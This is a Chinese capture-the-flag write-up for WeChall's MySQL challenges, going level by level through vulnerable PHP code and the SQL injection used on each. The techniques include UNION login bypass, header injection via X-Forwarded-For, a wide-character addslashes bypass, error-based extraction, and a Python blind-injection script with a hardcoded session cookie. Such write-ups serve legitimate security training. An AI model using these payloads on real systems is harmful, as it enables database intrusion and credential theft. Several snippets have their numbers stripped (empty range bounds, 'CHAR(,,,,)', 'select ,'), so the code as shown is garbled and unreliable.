天天看點

WeChall mysql WriteUpWeChall mysql WriteUp

WeChall mysql WriteUp

題目連結:http://www.wechall.net/challs/MySQL/by/chall_score/ASC/page-1

1.No Escape

首先閱讀源碼,比較簡單,就是隻要有一個人的票數到達111了,那麼就成功了,但是每當一個人的票數超過100時就會被重置。然後此處注入參數為vote_for,另外還有就是兩個過濾,核心代碼就在下面:

if ( (stripos($who, 'id') !== false) || (strpos($who, '/') !== false) ) {
        echo GWF_HTML::error('No Escape', 'Please do not mess with the id. It would break the challenge for others', false);
        return;
    }
    $db = noesc_db();
    $who = mysql_real_escape_string($who);
    $query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";
    if (false !== $db->queryWrite($query)) {
        echo GWF_HTML::message('No Escape', 'Vote counted for '.GWF_HTML::display($who), false);
    }
    noesc_stop100();
           

觀察發現過濾似乎并沒有什麼卵用,因為在更新語句中根本沒用單引号,隻用了`符号,那麼直接構造如下的payload就好了:

?vote_for=bill`=--+
           

2. Training: MySQL I

這道題沒啥可說的,最簡單的SQLI,跳過

3.Training: MySQL II

這道題把密碼和使用者名分開來驗證了,使用者名查詢處毫無過濾,核心檢驗代碼如下:

$password = md5($password);

    $query = "SELECT * FROM users WHERE username='$username'";

    if (false === ($result = $db->queryFirst($query))) {
        echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false);
        return false;
    }


    #############################
    ### This is the new check ###
    if ($result['password'] !== $password) {
        echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);
        return false;
    } #  End of the new code  ###
    #############################
           

很容易知道,用union構造查詢就可以繞過了,如下:

username=123' union select ,'admin',md5('password');#
&password=password
&login=Login
           

4.The Guestbook

首先看代碼,看個大概之後直接分析核心代碼:

$playerid = gbook_playerID(true);// Current Player
    $userid = ;#guestbook has no login yet.
    $time = time();
    $ip = gbook_getIP();
    $message = mysql_real_escape_string($message);
    $query = "INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '$ip', '$message')";
    if (false === $db->queryWrite($query)) {
        echo GWF_HTML::err('ERR_DATABASE', array(__FILE__, __LINE__));
        return false;
    }
           

message就是我們在留言闆所輸入的部分,觀察之後發現,它被過濾了,寬字元在這裡是無法繞過的,然後就應該找找别的注入點,之後看到gbook_getIP()函數如下定義:

function gbook_getIP()
{
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    elseif (isset($_SERVER['HTTP_VIA'])) { 
        return $_SERVER['HTTP_VIA'];
    }
    else {
        return $_SERVER['REMOTE_ADDR'];
    }
}
           

這裡直接擷取了請求頭中X_FORWARDED_FOR,是以我們隻需要僞造一個帶有X_FORWARDED_FOR的請求就可以完成注入了,burpsuite抓包之後選擇對應的包然後構造如下:

WeChall mysql WriteUpWeChall mysql WriteUp

用repeater加上

之後得到admin的密碼:

WeChall mysql WriteUpWeChall mysql WriteUp

TheBrownFoxAndTheLazyDog

5.Blinded by the light

希望有大神能夠幫幫我這道題,這道題是一個腳本爆破的題目,直接暴力枚舉密碼,然後由于代碼中有次數限制,是以我們這裡采用的是二分枚舉,但是我這裡遇到一個問題,就是我每次遞交請求時候,它都預設為我是第一次嘗試,然後密碼就肯定不對,不知道怎麼解決。。。求大神相助這道題。我的代碼如下:

import requests
import re
url = 'http://www.wechall.net/challenge/blind_light/index.php'
r=requests.session()
s=r.get(url)
word="0123456789ABCDEF"
password=""
for i in range(,):
    start=
    end=
    while(start<end):
        mid=(start+end)/
        #print word[mid]
        header={'COOKIE':'WC=8800431-0-BFaTupbuIbCgudW1;'}
        if(end-start==):
            param = "\' or substring(password,"+str(i)+",1)>\'"+word[start]+"\'#"
            payload={'injection':param,'inject':"Inject"}
            result=r.post(url,data=payload,headers=header)
            content=result.text
            print content
            if 'Welcome back' in content:
                start=end
                break
            else:
                end=start
                break
        else:
            param = "\' or substring(password,"+str(i)+",1)<\'"+word[mid]+"\'#"
            payload={'injection':param,'inject':"Inject"}
            result=r.post(url,data=payload,headers=header)
            content=result.text
            #print content.encode('utf-8')
            print content
            pattern = re.compile(r'This was your(.*?)attempt',re.S)
            items=[]
            items = re.findall(pattern,content)
            print items
            if 'Welcome back' in content:
                end=mid
            else:
                start=mid
    password=password+word[start]
    print password
header={'COOKIE':'WC=8800431-0-BFaTupbuIbCgudW1;'}
payload={'thehash':password,'mybutton':"Enter"}
result=r.post(url,data=payload,headers=header)
           

6.addslashes

源代碼就不貼了,核心就是一個典型的寬字元注入的問題。

要求就是用”Admin”登入,關鍵在于它還并沒有對password進行檢驗,這樣子,直接構造繞過addslashes()函數就可以了。但是這裡我遇到一個特别神奇的問題,如下,我使用的是火狐的插件hackerbar,然後下圖的輸入就可以過

WeChall mysql WriteUpWeChall mysql WriteUp

然後問題來了,我在輸入框裡面輸入

使用者名:%C0'+union+select+CHAR(,,,,)#
密碼:
           

就沒辦法登入了,實在沒有明白二者差距在哪裡,看出來的大神求解釋下呗。。。

7.MD5.SALT

這次終于沒有源代碼可以看了,根據提示的Hint說是資料庫的表名叫做”users”,這個提示非常重要啊,我們再試試輸入框,發現似乎并沒有過濾,直接單引号就可以插入我們自己的查詢語句了,應該是目前來說的最簡單的題目了。

嘗試了幾次之後直接構造如下:

' and 1=2 union select password, from users where username="Admin"#
PS:它會回顯select的第一個字段,由此來爆密碼
           

然後從回顯裡面看出密碼的MD5值是215c61d0104f8925b5f7e4e87a7cbdfa,查了查竟然要我付費,作為屌絲我當然不答應啦,是以就這樣吧

9.Table Names

先在username裡直接試試最簡單的

發現有點作用,于是判斷隻是單純的單引号。題目要求的我們把庫名和表名爆出來,是以我們先開始嘗試報錯注入,

然後琢磨一下,直接開始爆庫名和表名就可以了

得到庫名是gizmore_tableu61

是以繼續吧所有表名都爆出來呗

由此即得到正确的表名為usertableus4

是以最後的答案就是gizmore_tableu61_usertableus4

Table Names II

看源碼,重點就是下面的過濾:

if (preg_match('/statistics|tables|columns|table_constraints|key_column_usage|partitions|schema_privileges|schemata|database|schema\(\)/i', $username.$password))
    {
        echo GWF_HTML::error(GWF_PAGE_TITLE, $chall->lang('on_match'));
    }
           

然後簡單測試了一下,

如下的payload是可以執行的:

WeChall mysql WriteUpWeChall mysql WriteUp

然後來構造一下語句把,觀察下,發現很多我們暴庫需要的關鍵字都被過濾了。但是關鍵的庫

information_schema

是沒有被過濾的,然後就想辦法爆東西吧。

這裡我們有一個比較常用的語句:

通過這個最起碼可以看到庫名,而這個語句主要是

information_schema

庫中的一個叫做

proccesslist

表的内容,那麼我們也可以來嘗試一下爆出它的内容即可,

下圖是本機實測的截圖:

WeChall mysql WriteUpWeChall mysql WriteUp

挨個兒爆内容,最後有效的payload如下:

WeChall mysql WriteUpWeChall mysql WriteUp

觀察發現庫名和表名都出來了,是以最後結果就是

nurfedtables37.userbobbytable7
           

Order By Query

這個觀察源碼發現注入點位于

order by

,那麼就隻有兩種方法可行,一種是直接街上and構造雙查詢語句,第二種是在

DESC/ASC

後打上

,

号,然後再接上下一個

select

語句。

但是這裡我們看到源碼中的關鍵句子如下:

$query = "SELECT * FROM users ORDER BY $orderby $dir LIMIT 10";
           

而$dir就是

DESC/ASC

中的某一個,然後加上它會傳回錯誤資訊,是以就确定了就是報錯注入了。這裡報錯注入有好幾種方法,我用的是以下的語句:

上述句子中

CHAR(65, 100, 109, 105, 110)

就是

Admin

,因為要爆出

Admin

的密碼,直接加上限定就好了。結果截圖如下:

WeChall mysql WriteUpWeChall mysql WriteUp

這個MD5就是最後的答案:

C3CBEB0C8ADC66F2922C65E7784BE14
           

這裡最開始我遇到一個比較蠢的問題,最開始我的語句如下:

自作多情的多用的了一個concat來連接配接答案,結果報錯出的MD5值如圖:

WeChall mysql WriteUpWeChall mysql WriteUp

即:

\3C3CBEB0C8ADC66F2922C65E7784BE1
           

而我怎麼送出都是錯的,後來才發現這個MD5值隻有31位,然後我就意識到還有一位沒有顯示出來,因為這裡預設隻顯示32位,而我的多此一舉導緻最開始的

\

符号占用了一位,是以答案的最後一位就沒出來,這種問題還是一定要少犯一點的好,免得白白耽擱時間。

12.Light in the Darkness

這裡是一道報錯注入。

報錯注入我個人常用的兩種,

ExtractValue

floor

不過這裡我們看看它給的核心代碼:

function blightVuln($password)
{
    # Do not mess with other sessions!
    if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )
    {
        return false;
    }

    $db = blightDB();
    $sessid = GWF_Session::getSessSID();
    $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
    return $db->queryFirst($query) !== false;
}
           

這裡他把表名

blight

過濾了,也是比較蛋疼的,因為我們要通過

ExtractValue

爆出資料,那麼我們就一定需要輸入表名的,是以我們果斷摒棄這個,選擇通過’floor’來報錯,原理這裡我都不再贅述,不知道的可以私信我。因為主查詢裡面有了表名那麼我們就在構造的時候就可以避開它,直接給上paylaod